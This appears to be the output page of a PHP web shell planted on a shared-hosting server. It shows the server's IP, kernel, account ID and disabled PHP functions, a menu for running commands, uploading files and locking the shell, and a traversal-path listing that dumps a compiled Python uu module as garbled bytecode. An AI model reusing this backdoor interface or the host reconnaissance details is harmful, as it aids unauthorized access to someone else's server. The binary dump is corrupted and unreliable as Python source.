Server IP : 82.180.170.48 / Your IP : 216.73.216.179 Web Server : LiteSpeed System : Linux us-phx-web1609.main-hosting.eu 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64 User : u636808025 ( 636808025) PHP Version : 8.2.28 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/../dev/../lib64/nss/../libnfsidmap/../rpm-plugins/../python3.9/__pycache__/ |
[ Home ] | [ C0mmand ] | [ Upload File ] | [ Lock Shell ] | [ Logout ] |
---|
a ٶZgm�@shdZddlZddlZddlZgd�ZGdd�de�Zddd�dd �Zdd d�Zdd �Z e dkrde �dS)z�Implementation of the UUencode and UUdecode functions. encode(in_file, out_file [,name, mode], *, backtick=False) decode(in_file [, out_file, mode, quiet]) �N)�Error�encode�decodec@seZdZdS)rN)�__name__� __module__�__qualname__�rr�/usr/lib64/python3.9/uu.pyr&srF��backtickc Cszg}�zX|dkrtjj}n^t|t�rx|dur8tj�|�}|durdzt�|�j }Wnt ybYn0t|d�}|�|�|dkr�tj j}nt|t�r�t|d�}|�|�|dur�d}|dur�d}|�dd�}|�dd �}|�d |d@|f�d��|�d �}t|�dk�r,|�tj||d��|�d �}q�|�r>|�d�n |�d�W|D]}|���qNn|D]}|���qd0dS)z Uuencode file�-N�rb�wbi�� z\n� z\rzbegin %o %s i��ascii�-rr s` end s end )�sys�stdin�buffer� isinstance�str�os�path�basename�stat�st_mode�AttributeError�open�append�stdout�replace�writer�read�len�binasciiZb2a_uu�close)�in_file�out_file�name�moder�opened_files�data�frrr r)sJ �rc Cs�g}|dkrtjj}nt|t�r4t|d�}|�|��z2|��}|sLtd��|� d�sXq8|� dd�}t|�dkr8|ddkr8zt|d d �Wq�Wq8t y�Yq80q8|du�r8|d�d��d �}tj�|�r�td|����|� tj��s(dtj��|v�s(tj�r8|� tj��s(dtj��|v�r8td|�d���|du�rPt|d d �}|dk�rdtjj}n0t|t��r�t|d�}t�||�|}|�|�|��}|�rD|�d�dk�rDzt�|�} Wnltj�y,} zP|ddd@ddd}t�|d|��} |�stj�d| �WYd} ~ n d} ~ 00|�| �|��}�q�|�sRtd��W|D]}|���qXn|D]}|���qn0dS)zDecode uuencoded filerr z'No valid begin line found in input filesbegin� ��r��Ns rz Cannot overwrite existing file: z..zRefusing to write to z due to directory traversalrsend� �?��zWarning: %s zTruncated input file)rrrrrrr�readliner� startswith�splitr$�int� ValueError�rstriprrr�exists�sep�altsepr �chmod�stripr%Za2b_uu�stderrr"r&) r'r(r*�quietr+ZhdrZ hdrfields�fp�sr,�v�nbytesr-rrr rcsv �� �� & �rcCs4ddl}|jdd�}|jddddd d d�|jdd ddd d d�|��\}}t|�dkrl|�d�t�d�tjj }tj j }t|�dkr�|d}t|�dkr�|d}|jr�|jr�t |t�r�t|d�}nttjdd�t�d�t||�nD|j�r&t |t��rt|d�}nttjdd�t�d�t||�dS)zuuencode/uudecode main programrNz'usage: %prog [-d] [-t] [input [output]])�usagez-dz--decoderzDecode (instead of encode)?F� store_true)�dest�help�default�actionz-tz--text�textz2data is text, encoded format unix-compatible text?r/zincorrect number of argumentsr1rz: cannot do -t to stdoutr z: cannot do -t from stdin)�optparseZOptionParserZ add_option� parse_argsr$�errorr�exitrrr rrNrrr�print�argvr)rO�parser�options�args�input�outputrrr �test�s6 rZ�__main__)NN)NNF)�__doc__r%rr�__all__� ExceptionrrrrZrrrrr �<module>s: J&